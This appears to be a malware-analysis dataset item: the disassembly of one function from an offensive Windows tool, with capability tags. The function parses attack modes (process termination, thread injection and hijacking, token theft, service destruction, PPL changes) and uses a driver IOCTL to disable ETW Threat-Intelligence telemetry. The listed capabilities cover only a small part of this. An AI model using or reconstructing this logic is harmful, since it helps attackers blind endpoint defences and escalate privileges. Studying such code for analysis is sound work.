Function at 0x140005650
Capabilities:
Check if file exists
Query or enumerate registry value

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x468]
sub rsp, 0x540
movaps xmmword [rax - 0x38], xmm6
mov rax, qword [0x14004aac0]
xor rax, rsp
mov qword [rbp + 0x420], rax
mov r12, rdx
mov dword [rbp - 0x74], ecx
xor edi, edi
lea rdx, [0x14004ce50]
cmp qword [0x14004ce68], 0xf
cmova rdx, qword [0x14004ce50]
mov r8, qword [0x14004ce60]
lea rcx, [0x14004bfa0]
call fcn.14000dbd0
mov rcx, rax
call fcn.14000b6f0
mov dword [rbp - 0x78], 0x400
lea rax, [rsp + 0x60]
mov qword [rsp + 0x20], rax
mov r9d, 1
xor r8d, r8d
lea rdx, str.SOFTWAREMicrosoftWindows_NTCurrentVersion
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov ebx, eax
lea rax, [rbp - 0x78]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x20]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea rdx, str.ProductName
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x140005750
test ebx, ebx
jne 0x140005750
xorps xmm0, xmm0
movups xmmword [rbp - 0x70], xmm0
mov qword [rbp - 0x60], rdi
mov qword [rbp - 0x58], rdi
lea rax, [rbp + 0x20]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], dil
jne 0x140005741
lea rdx, [rbp + 0x20]
jmp 0x140005771
xorps xmm0, xmm0
movups xmmword [rbp - 0x70], xmm0
mov qword [rbp - 0x60], rdi
mov qword [rbp - 0x58], rdi
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rdi + r8], dil
jne 0x140005766
xor edx, edx
lea rcx, [rbp - 0x70]
call fcn.14000c0a0
nop
lea rdi, [rbp - 0x70]
mov r14, qword [rbp - 0x70]
mov r15, qword [rbp - 0x58]
cmp r15, 0xf
cmova rdi, r14
mov rbx, qword [rbp - 0x60]
cmp rbx, 1
jb 0x1400057e4
lea rsi, [rbx + rdi]
mov r8, rsi
sub r8, rdi
mov edx, 0x37
mov rcx, rdi
call fcn.140034fb0
test rax, rax
je 0x1400057e4
cmp byte [rax], 0x37
je 0x1400057d7
inc rax
mov r8, rsi
sub r8, rax
mov edx, 0x37
mov rcx, rax
call fcn.140034fb0
test rax, rax
jne 0x1400057b5
jmp 0x1400057e4
sub rax, rdi
cmp rax, 0xffffffffffffffff
jne 0x1400064bf
lea rdi, [rbp - 0x70]
cmp r15, 0xf
cmova rdi, r14
cmp rbx, 4
jb 0x140005837
lea rsi, [rbx + rdi]
lea r8, [rsi - 3]
sub r8, rdi
mov edx, 0x32
mov rcx, rdi
call fcn.140034fb0
test rax, rax
je 0x140005837
cmp dword [rax], 0x38303032
je 0x140005892
inc rax
lea r8, [rsi - 3]
sub r8, rax
mov edx, 0x32
mov rcx, rax
call fcn.140034fb0
test rax, rax
jne 0x140005813
xor r13b, r13b
lea rdi, [rbp - 0x70]
cmp r15, 0xf
cmova rdi, r14
cmp rbx, 1
jb 0x140005910
lea rsi, [rbx + rdi]
mov r8, rsi
sub r8, rdi
mov edx, 0x38
mov rcx, rdi
call fcn.140034fb0
test rax, rax
je 0x140005910
cmp byte [rax], 0x38
je 0x1400058a1
inc rax
mov r8, rsi
sub r8, rax
mov edx, 0x38
mov rcx, rax
call fcn.140034fb0
test rax, rax
jne 0x140005870
jmp 0x140005910
sub rax, rdi
cmp rax, 0xffffffffffffffff
jne 0x1400064bf
jmp 0x140005837
sub rax, rdi
cmp rax, 0xffffffffffffffff
je 0x140005910
lea rdi, [rbp - 0x70]
cmp r15, 0xf
cmova rdi, r14
cmp rbx, 4
jb 0x140005972
lea rsi, [rbx + rdi]
lea r8, [rsi - 3]
sub r8, rdi
mov edx, 0x32
mov rcx, rdi
call fcn.140034fb0
test rax, rax
je 0x140005972
cmp dword [rax], 0x38303032
je 0x140005907
inc rax
lea r8, [rsi - 3]
sub r8, rax
mov edx, 0x32
mov rcx, rax
call fcn.140034fb0
test rax, rax
jne 0x1400058e1
jmp 0x140005972
sub rax, rdi
cmp rax, 0xffffffffffffffff
je 0x140005972
lea rdi, [rbp - 0x70]
cmp r15, 0xf
cmova rdi, r14
cmp rbx, 4
jb 0x1400059a7
lea rsi, [rbx + rdi]
lea r8, [rsi - 3]
sub r8, rdi
mov edx, 0x32
mov rcx, rdi
call fcn.140034fb0
test rax, rax
je 0x1400059a7
cmp dword [rax], 0x32313032
je 0x140005969
inc rax
lea r8, [rsi - 3]
sub r8, rax
mov edx, 0x32
mov rcx, rax
call fcn.140034fb0
test rax, rax
jne 0x140005943
jmp 0x1400059a7
sub rax, rdi
cmp rax, 0xffffffffffffffff
je 0x1400059a7
lea rdx, [rbp - 0x70]
cmp r15, 0xf
cmova rdx, r14
mov r8, rbx
lea rcx, [0x14004bfa0]
call fcn.14000dbd0
lea rdx, str._ETW_TI_Does_not_exist_on_this_build.
mov rcx, rax
call fcn.14000b160
mov rcx, rax
call fcn.14000b410
mov r13b, 1
xor edx, edx
mov r8d, 0x130
lea rcx, [rbp + 0x20]
call fcn.140034b30
lea rcx, [rbp + 0x20]
call fcn.140002740
movaps xmm6, xmmword [rbp + 0x50]
mov rdx, qword [rbp + 0x40]
add rdx, qword [rbp + 0x60]
lea rcx, [rbp + 0x20]
call fcn.140002af0
mov rbx, rax
sub rbx, qword [rbp + 0x60]
mov rdx, qword [rbp + 0x68]
add rdx, rbx
lea rcx, [rbp + 0x20]
call fcn.140002af0
movq rdi, xmm6
cmp rax, rdi
je 0x140005a2c
nop word [rax + rax]
mov rdx, qword [rbp + 0x60]
add rdx, rbx
lea rcx, [rbp + 0x20]
call fcn.140002af0
mov rbx, rax
sub rbx, qword [rbp + 0x60]
mov rdx, qword [rbp + 0x68]
add rdx, rbx
lea rcx, [rbp + 0x20]
call fcn.140002af0
cmp rax, rdi
jne 0x140005a00
mov rdx, qword [rbp + 0x88]
add rdx, rbx
lea rcx, [rbp + 0x20]
call fcn.140002af0
mov qword [rbp + 0x140], rax
lea rcx, [0x1400428e0]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, str.NtCreateThreadEx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0x148], rax
mov r14d, dword [rbp - 0x74]
cmp r14d, 2
jl 0x14000651a
mov esi, 1
lea rdi, str.current
nop dword [rax]
nop dword [rax + rax]
movsxd rax, esi
mov rbx, qword [r12 + rax*8]
lea rdx, str.__terminate
mov rcx, rbx
call fcn.1400343b0
test eax, eax
jne 0x140005b13
cmp dword [0x14004cdd8], eax
jne 0x14000667e
mov dword [0x14004cdd8], 1
inc esi
movsxd rax, esi
lea rbx, [r12 + rax*8]
mov r8d, 0xa
lea rdx, [0x14004cdf0]
mov rcx, qword [rbx]
call fcn.140012b38
test eax, eax
jle 0x140006540
mov rcx, qword [rbx]
call fcn.140013010
mov ecx, eax
call fcn.140005580
test al, al
je 0x140006540
mov rcx, qword [rbx]
call fcn.140013010
mov dword [0x14004ce20], eax
xor r15d, r15d
jmp 0x14000609f
lea rdx, str.__delete
mov rcx, rbx
call fcn.1400343b0
test eax, eax
jne 0x140005b99
cmp dword [0x14004cdd8], eax
jne 0x14000667e
mov dword [0x14004cdd8], 2
inc esi
movsxd rax, esi
lea rdi, [r12 + rax*8]
mov rcx, qword [rdi]
call qword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x140006569
mov ecx, 0x2000
call fcn.14002af14
mov rbx, rax
mov dword [rsp + 0x28], 0x1000
mov qword [rsp + 0x20], rax
mov r9d, 0xffffffff
mov r8, qword [rdi]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov qword [0x14004ce18], rbx
xor r15d, r15d
lea rdi, str.current
jmp 0x14000609f
lea rdx, str.__tinject
mov rcx, rbx
call fcn.1400343b0
test eax, eax
jne 0x140005c3f
cmp dword [0x14004cdd8], eax
jne 0x14000667e
mov dword [0x14004cdd8], 4
movsxd rax, esi
lea rbx, [r12 + rax*8]
mov r8d, 0xa
lea rdx, [0x14004cdf0]
mov rcx, qword [rbx + 8]
call fcn.140012b38
test eax, eax
jle 0x1400065b8
mov rcx, qword [rbx + 8]
call fcn.140013010
mov ecx, eax
call fcn.140005580
test al, al
je 0x1400065b8
mov rcx, qword [rbx + 8]
call fcn.140013010
mov dword [0x14004ce20], eax
add esi, 2
movsxd rax, esi
lea rbx, [r12 + rax*8]
mov rcx, qword [rbx]
call qword [sym.imp.SHLWAPI.dll_PathFileExistsA]
mov rdx, qword [rbx]
test eax, eax
je 0x140006592
mov qword [0x14004cde8], rdx
xor r15d, r15d
jmp 0x14000609f
lea rdx, str.__thijack
mov rcx, rbx
call fcn.1400343b0
test eax, eax
jne 0x140005ce5
cmp dword [0x14004cdd8], eax
jne 0x14000667e
mov dword [0x14004cdd8], 3
movsxd rax, esi
lea rbx, [r12 + rax*8]
mov r8d, 0xa
lea rdx, [0x14004cdf0]
mov rcx, qword [rbx + 8]
call fcn.140012b38
test eax, eax
jle 0x140006608
mov rcx, qword [rbx + 8]
call fcn.140013010
mov ecx, eax
call fcn.140005580
test al, al
je 0x140006608
mov rcx, qword [rbx + 8]
call fcn.140013010
mov dword [0x14004ce20], eax
add esi, 2
movsxd rax, esi
lea rbx, [r12 + rax*8]
mov rcx, qword [rbx]
call qword [sym.imp.SHLWAPI.dll_PathFileExistsA]
mov rdx, qword [rbx]
test eax, eax
je 0x1400065e2
mov qword [0x14004cde8], rdx
xor r15d, r15d
jmp 0x14000609f
lea rdx, str.__tokenspawn
mov rcx, rbx
call fcn.1400343b0
test eax, eax
jne 0x140005d50
cmp dword [0x14004cdd8], eax
jne 0x14000667e
mov dword [0x14004cdd8], 6
inc esi
movsxd rax, esi
lea rbx, [r12 + rax*8]
mov r8d, 0xa
lea rdx, [0x14004cdf0]
mov rcx, qword [rbx]
call fcn.140012b38
test eax, eax
jle 0x1400064f1
mov rcx, qword [rbx]
call fcn.140013010
mov ecx, eax
call fcn.140005580
test al, al
je 0x1400064f1
jmp 0x140005afd
lea rdx, str.__destroyservice
mov rcx, rbx
call fcn.1400343b0
test eax, eax
jne 0x140005dca
cmp dword [0x14004cdd8], eax
jne 0x14000667e
mov dword [0x14004cdd8], 5
movsxd rax, esi
lea rbx, [r12 + rax*8]
mov rcx, qword [rbx + 8]
call qword [sym.imp.SHLWAPI.dll_PathFileExistsA]
mov rdx, qword [rbx + 8]
test eax, eax
je 0x140006658
mov qword [0x14004ce28], rdx
add esi, 2
movsxd rax, esi
lea rbx, [r12 + rax*8]
mov rcx, qword [rbx]
call qword [sym.imp.SHLWAPI.dll_PathFileExistsA]
mov rdx, qword [rbx]
test eax, eax
je 0x140006632
mov qword [0x14004ce08], rdx
xor r15d, r15d
jmp 0x14000609f
xor r15d, r15d
mov ecx, r15d
lea rdx, str.__etw
nop word [rax + rax]
movzx eax, byte [rbx + rcx]
inc rcx
cmp al, byte [rdx + rcx - 1]
jne 0x140005e93
cmp rcx, 6
jne 0x140005de0
mov dword [0x14004cdfc], 1
inc esi
movsxd rax, esi
lea rbx, [r12 + rax*8]
mov r8d, 0xa
lea rdx, [0x14004cdf0]
mov rcx, qword [rbx]
call fcn.140012b38
test eax, eax
jg 0x140005e33
mov rcx, qword [rbx]
call fcn.140013010
test eax, eax
jne 0x14000669c
mov r8d, 0xa
lea rdx, [0x14004cdf0]
mov rcx, qword [rbx]
call fcn.140012b38
cmp eax, 1
je 0x140005e7d
mov rax, qword [rbx]
movsx ecx, byte [rax]
call fcn.140013370
test eax, eax
je 0x1400066c5
mov r8d, 0xa
lea rdx, [0x14004cdf0]
mov rcx, qword [rbx]
call fcn.140012b38
test eax, eax
jne 0x1400066c5
mov rcx, qword [rbx]
call fcn.140013010
test eax, eax
setne byte [0x14004cde4]
jmp 0x14000609f
mov rcx, r15
lea rdx, str.__ppl
nop dword [rax]
movzx eax, byte [rbx + rcx]
inc rcx
cmp al, byte [rdx + rcx - 1]
jne 0x140005f70
cmp rcx, 6
jne 0x140005ea0
mov dword [0x14004ce00], 1
movsxd rax, esi
lea rbx, [r12 + rax*8]
mov r8d, 0xa
lea rdx, [0x14004cdf0]
mov rcx, qword [rbx + 8]
call fcn.140012b38
test eax, eax
jle 0x140006717
mov rcx, qword [rbx + 8]
call fcn.140013010
mov ecx, eax
call fcn.140005580
test al, al
je 0x140006717
mov rcx, qword [rbx + 8]
call fcn.140013010
mov dword [0x14004ce10], eax
add esi, 2
movsxd rax, esi
lea rbx, [r12 + rax*8]
mov rax, qword [rbx]
movsx ecx, byte [rax]
call fcn.140013370
test eax, eax
je 0x140005f3f
mov r8d, 0xa
lea rdx, [0x14004cdf0]
mov rcx, qword [rbx]
call fcn.140012b38
test eax, eax
je 0x140005f5d
mov r8d, 0xa
lea rdx, [0x14004cdf0]
mov rcx, qword [rbx]
call fcn.140012b38
cmp eax, 1
jne 0x1400066ee
mov rcx, qword [rbx]
call fcn.140013010
mov dword [0x14004cde0], eax
jmp 0x14000609f
mov rcx, r15
lea rdx, str.__token
nop word [rax + rax]
movzx eax, byte [rbx + rcx]
inc rcx
cmp al, byte [rdx + rcx - 1]
jne 0x14000609f
cmp rcx, 8
jne 0x140005f80
mov dword [0x14004ce14], 1
movsxd rax, esi
lea rbx, [r12 + rax*8]
mov r8d, 0xa
lea rdx, [0x14004cdf0]
mov rcx, qword [rbx + 8]
call fcn.140012b38
test eax, eax
jle 0x140006767
mov rcx, qword [rbx + 8]
call fcn.140013010
mov ecx, eax
call fcn.140005580
test al, al
je 0x140006767
mov rcx, qword [rbx + 8]
call fcn.140013010
mov dword [0x14004cddc], eax
add esi, 2
movsxd rax, esi
lea rbx, [r12 + rax*8]
mov r8d, 0xa
lea rdx, [0x14004cdf0]
mov rcx, qword [rbx]
call fcn.140012b38
test eax, eax
jle 0x140006023
mov rcx, qword [rbx]
call fcn.140013010
mov ecx, eax
call fcn.140005580
test al, al
jne 0x140006047
mov rdx, qword [rbx]
mov rcx, r15
nop dword [rax]
movzx eax, byte [rdx + rcx]
inc rcx
cmp al, byte [rdi + rcx - 1]
jne 0x140006741
cmp rcx, 8
jne 0x140006030
mov r8d, 0xa
lea rdx, [0x14004cdf0]
mov rcx, qword [rbx]
call fcn.140012b38
test eax, eax
jle 0x14000606e
mov rcx, qword [rbx]
call fcn.140013010
mov dword [0x14004ce04], eax
mov rcx, r15
mov rdx, qword [rbx]
nop dword [rax]
nop dword [rax + rax]
movzx eax, byte [rdx + rcx]
inc rcx
cmp al, byte [rdi + rcx - 1]
jne 0x14000609f
cmp rcx, 8
jne 0x140006080
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [0x14004ce04], eax
inc esi
cmp esi, r14d
jl 0x140005a90
cmp dword [0x14004ce14], 0
je 0x140006132
movsxd rdi, dword [0x14004ce04]
movsxd rbx, dword [0x14004cddc]
lea rdx, str.__Stealing_Token_from:
lea rcx, [0x14004bfa0]
call fcn.14000b160
mov rcx, rax
mov edx, ebx
call fcn.140008520
mov rcx, rax
lea rdx, str._to_process:
call fcn.14000b160
mov rcx, rax
mov edx, edi
call fcn.140008520
mov rcx, rax
call fcn.14000b6f0
mov qword [rsp + 0x50], rbx
mov qword [rsp + 0x60], rdi
movaps xmm0, xmmword [rsp + 0x60]
movdqa xmmword [rsp + 0x60], xmm0
movaps xmm1, xmmword [rsp + 0x50]
movdqa xmmword [rsp + 0x50], xmm1
lea r8, [rsp + 0x60]
lea rdx, [rsp + 0x50]
lea rcx, [rbp + 0x20]
call fcn.1400030f0
cmp dword [0x14004ce00], 0
je 0x140006175
mov ebx, dword [0x14004cde0]
movsxd rax, dword [0x14004ce10]
test eax, eax
jns 0x140006154
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov eax, eax
mov qword [rsp + 0x60], rax
movaps xmm0, xmmword [rsp + 0x60]
movdqa xmmword [rsp + 0x50], xmm0
mov r8d, ebx
lea rdx, [rsp + 0x50]
lea rcx, [rbp + 0x20]
call fcn.140003910
mov edx, dword [0x14004cdfc]
test edx, edx
je 0x14000628b
test r13b, r13b
jne 0x14000628b
movzx esi, byte [0x14004cde4]
mov rdx, qword [rbp + 0x38]
add rdx, qword [rbp + 0xb0]
lea rcx, [rbp + 0x20]
call fcn.140002af0
mov qword [rbp + 0x28], rax
mov rdx, qword [rbp + 0xb8]
add rdx, rax
lea rcx, [rbp + 0x20]
call fcn.140002af0
mov qword [rbp + 0x30], rax
test esi, esi
setne dil
mov rbx, qword [rbp + 0xc0]
add rbx, rax
mov edx, 0x21
mov ecx, 1
call fcn.14000e72c
test rax, rax
je 0x140006791
mov qword [rax + 8], rbx
mov dword [rax + 0x10], r15d
movabs rcx, 0xffff800000000000
cmp rbx, rcx
jb 0x140006791
mov byte [rax + 0x18], dil
mov qword [rsp + 0x38], r15
lea rcx, [rbp - 0x74]
mov qword [rsp + 0x30], rcx
mov dword [rsp + 0x28], 0x19
mov qword [rsp + 0x20], rax
mov r9d, 0x19
mov r8, rax
mov edx, 0x9b0c1ec8
mov rcx, qword [rbp + 0x20]
call qword [sym.imp.KERNEL32.dll_DeviceIoControl]
lea rax, str.Enabled
lea rbx, str.Disabled
test esi, esi
cmovne rbx, rax
lea rdx, [0x140042874]
lea rcx, [0x14004bfa0]
call fcn.14000b160
mov rcx, rax
mov rdx, rbx
call fcn.14000b160
mov rcx, rax
lea rdx, str._ETW___Microsoft___Windows___Threat___Intelligence
call fcn.14000b160
mov rcx, rax
call fcn.14000b6f0
mov edx, dword [0x14004cdfc]
movsxd rax, dword [0x14004cdd8]
cmp eax, 6
ja case.default.0x1400062ad
lea r8, [0x140000000]
mov ecx, dword [r8 + rax*4 + 0x67e4]
add rcx, r8
jmp rcx
mov edx, dword [0x14004ce20]
lea rcx, [rbp + 0x20]
call fcn.140003ce0
jmp case.default.0x1400062ad
mov rdx, qword [0x14004ce18]
lea rcx, [rbp + 0x20]
call fcn.140003b90
jmp case.default.0x1400062ad
lea rcx, [rbp + 0x20]
call fcn.140004ac0
jmp case.default.0x1400062ad
lea rcx, [rbp + 0x20]
call fcn.140004620
jmp case.default.0x1400062ad
lea rcx, [rbp + 0x20]
call fcn.140003ec0
jmp case.default.0x1400062ad
movsxd rbx, dword [0x14004ce20]
mov qword [rsp + 0x60], rbx
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x70], xmm0
mov qword [rbp - 0x80], rax
xorps xmm1, xmm1
movups xmmword [rbp - 0x50], xmm1
movups xmmword [rbp - 0x40], xmm1
movups xmmword [rbp - 0x30], xmm1
movups xmmword [rbp - 0x20], xmm1
movups xmmword [rbp - 0x10], xmm1
movups xmmword [rbp], xmm1
mov qword [rbp + 0x10], rax
lea rdx, str.__Creating_new_CMD
lea rcx, [0x14004bfa0]
call fcn.14000b160
mov rcx, rax
call fcn.14000b6f0
lea rax, [rsp + 0x70]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x50]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r15
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], 0x10
mov dword [rsp + 0x20], r15d
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, str.C:windows_system32cmd.exe
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
jne 0x1400063cf
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
lea rdx, str.Unable_to_new_process:
lea rcx, [0x14004bfa0]
call fcn.14000b160
mov rcx, rax
mov edx, ebx
call fcn.140008120
mov rcx, rax
call fcn.140008940
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
lea rdx, str.__Stealing_Token_from:
lea rcx, [0x14004bfa0]
call fcn.14000b160
mov rcx, rax
mov edx, ebx
call fcn.140008520
mov rcx, rax
lea rdx, str._to_process:
call fcn.14000b160
mov rcx, rax
mov edx, dword [rbp - 0x80]
call fcn.140008120
mov rcx, rax
call fcn.14000b6f0
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [rbp - 0x80]
mov qword [rsp + 0x50], rax
movaps xmm0, xmmword [rsp + 0x50]
movdqa xmmword [rsp + 0x50], xmm0
movaps xmm1, xmmword [rsp + 0x60]
movdqa xmmword [rsp + 0x60], xmm1
lea r8, [rsp + 0x50]
lea rdx, [rsp + 0x60]
lea rcx, [rbp + 0x20]
call fcn.1400030f0
nop
mov rdx, qword [rbp - 0x58]
cmp rdx, 0xf
jbe 0x140006482
inc rdx
mov rcx, qword [rbp - 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000647d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400064b9
call fcn.14002abc0
xor eax, eax
mov rcx, qword [rbp + 0x420]
xor rcx, rsp
call fcn.14002aba0
lea r11, [rsp + 0x540]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
movaps xmm6, xmmword [r11 - 0x10]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.140013fe8
nop
lea rdx, [rbp - 0x70]
lea rcx, [0x14004bfa0]
call fcn.14000b780
mov rcx, rax
lea rdx, str._not_supported_yet__check_back_in_soon_:_
call fcn.14000b160
mov rcx, rax
call fcn.14000b410
mov ecx, 1
call fcn.14000e4a0
int3
mov rdx, qword [rbx]
lea rcx, [0x14004bfa0]
call fcn.14000b160
mov rcx, rax
lea rdx, str._this_is_not_a_PID...check_usage
call fcn.14000b160
mov ecx, 1
call fcn.14000e4a0
int3
lea rdx, [0x14004ce30]
lea rcx, [0x14004bfa0]
call fcn.14000b780
mov rcx, rax
call fcn.140008940
mov ecx, 1
call fcn.14000e4a0
int3
mov rdx, qword [rbx]
lea rcx, [0x14004bfa0]
call fcn.14000b160
mov rcx, rax
lea rdx, str.__this_is_not_a_PID...check_usage
call fcn.14000b160
mov ecx, 1
call fcn.14000e4a0
int3
mov rdx, qword [rdi]
lea rcx, [0x14004bfa0]
call fcn.14000b160
mov rcx, rax
lea rdx, str.__in_delete___this_is_not_a_valid_path...check_usage
call fcn.14000b160
mov ecx, 1
call fcn.14000e4a0
int3
lea rcx, [0x14004bfa0]
call fcn.14000b160
mov rcx, rax
lea rdx, str.__in_tinject_this_is_not_a_valid_path...check_usage
call fcn.14000b160
mov ecx, 1
call fcn.14000e4a0
int3
mov rdx, qword [rbx + 8]
lea rcx, [0x14004bfa0]
call fcn.14000b160
mov rcx, rax
lea rdx, str._this_is_not_a_PID...check_usage
call fcn.14000b160
mov ecx, 1
call fcn.14000e4a0
int3
lea rcx, [0x14004bfa0]
call fcn.14000b160
mov rcx, rax
lea rdx, str.__in_thijack_this_is_not_a_valid_path...check_usage
call fcn.14000b160
mov ecx, 1
call fcn.14000e4a0
int3
mov rdx, qword [rbx + 8]
lea rcx, [0x14004bfa0]
call fcn.14000b160
mov rcx, rax
lea rdx, str._this_is_not_a_PID...check_usage
call fcn.14000b160
mov ecx, 1
call fcn.14000e4a0
int3
lea rcx, [0x14004bfa0]
call fcn.14000b160
mov rcx, rax
lea rdx, str.__in_destroy2_this_is_not_a_valid_path...check_usage
call fcn.14000b160
mov ecx, 1
call fcn.14000e4a0
int3
lea rcx, [0x14004bfa0]
call fcn.14000b160
mov rcx, rax
lea rdx, str.__in_destroy_this_is_not_a_valid_path...check_usage
call fcn.14000b160
mov ecx, 1
call fcn.14000e4a0
int3
lea rdx, str.ONLY_ONE_ATTACK_MODE_ALLOWED__
lea rcx, [0x14004bfa0]
call fcn.14000b160
mov ecx, 1
call fcn.14000e4a0
int3
mov rdx, qword [rbx]
lea rcx, [0x14004bfa0]
call fcn.14000b160
mov rcx, rax
lea rdx, str.__this_is_not_a_valid_option...check_usage
call fcn.14000b160
mov ecx, 1
call fcn.14000e4a0
int3
mov rdx, qword [rbx]
lea rcx, [0x14004bfa0]
call fcn.14000b160
mov rcx, rax
lea rdx, str.__this_is_not_a_valid_option...check_usage
call fcn.14000b160
mov ecx, 1
call fcn.14000e4a0
int3
mov rdx, qword [rbx]
lea rcx, [0x14004bfa0]
call fcn.14000b160
mov rcx, rax
lea rdx, str.__this_is_not_a_valid_option...check_usage
call fcn.14000b160
mov ecx, 1
call fcn.14000e4a0
int3
mov rdx, qword [rbx + 8]
lea rcx, [0x14004bfa0]
call fcn.14000b160
mov rcx, rax
lea rdx, str._this_is_not_a_PID...check_usage
call fcn.14000b160
mov ecx, 1
call fcn.14000e4a0
int3
lea rcx, [0x14004bfa0]
call fcn.14000b160
mov rcx, rax
lea rdx, str._this_is_not_a_PID...check_usage
call fcn.14000b160
mov ecx, 1
call fcn.14000e4a0
int3
mov rdx, qword [rbx + 8]
lea rcx, [0x14004bfa0]
call fcn.14000b160
mov rcx, rax
lea rdx, str._this_is_not_a_PID...check_usage
call fcn.14000b160
mov ecx, 1
call fcn.14000e4a0
int3
mov ecx, 1
call fcn.14000e4a0
int3
cmp dword [0x14004ce14], 0
jne 0x1400067d6
cmp dword [0x14004cdf8], 0
jne 0x1400067d6
cmp dword [0x14004ce00], 0
jne 0x1400067d6
test edx, edx
jne 0x1400067d6
lea rdx, [0x14004ce30]
lea rcx, [0x14004bfa0]
call fcn.14000b780
mov rcx, rax
call fcn.140008940
mov ecx, 1
call fcn.14000e4a0
int3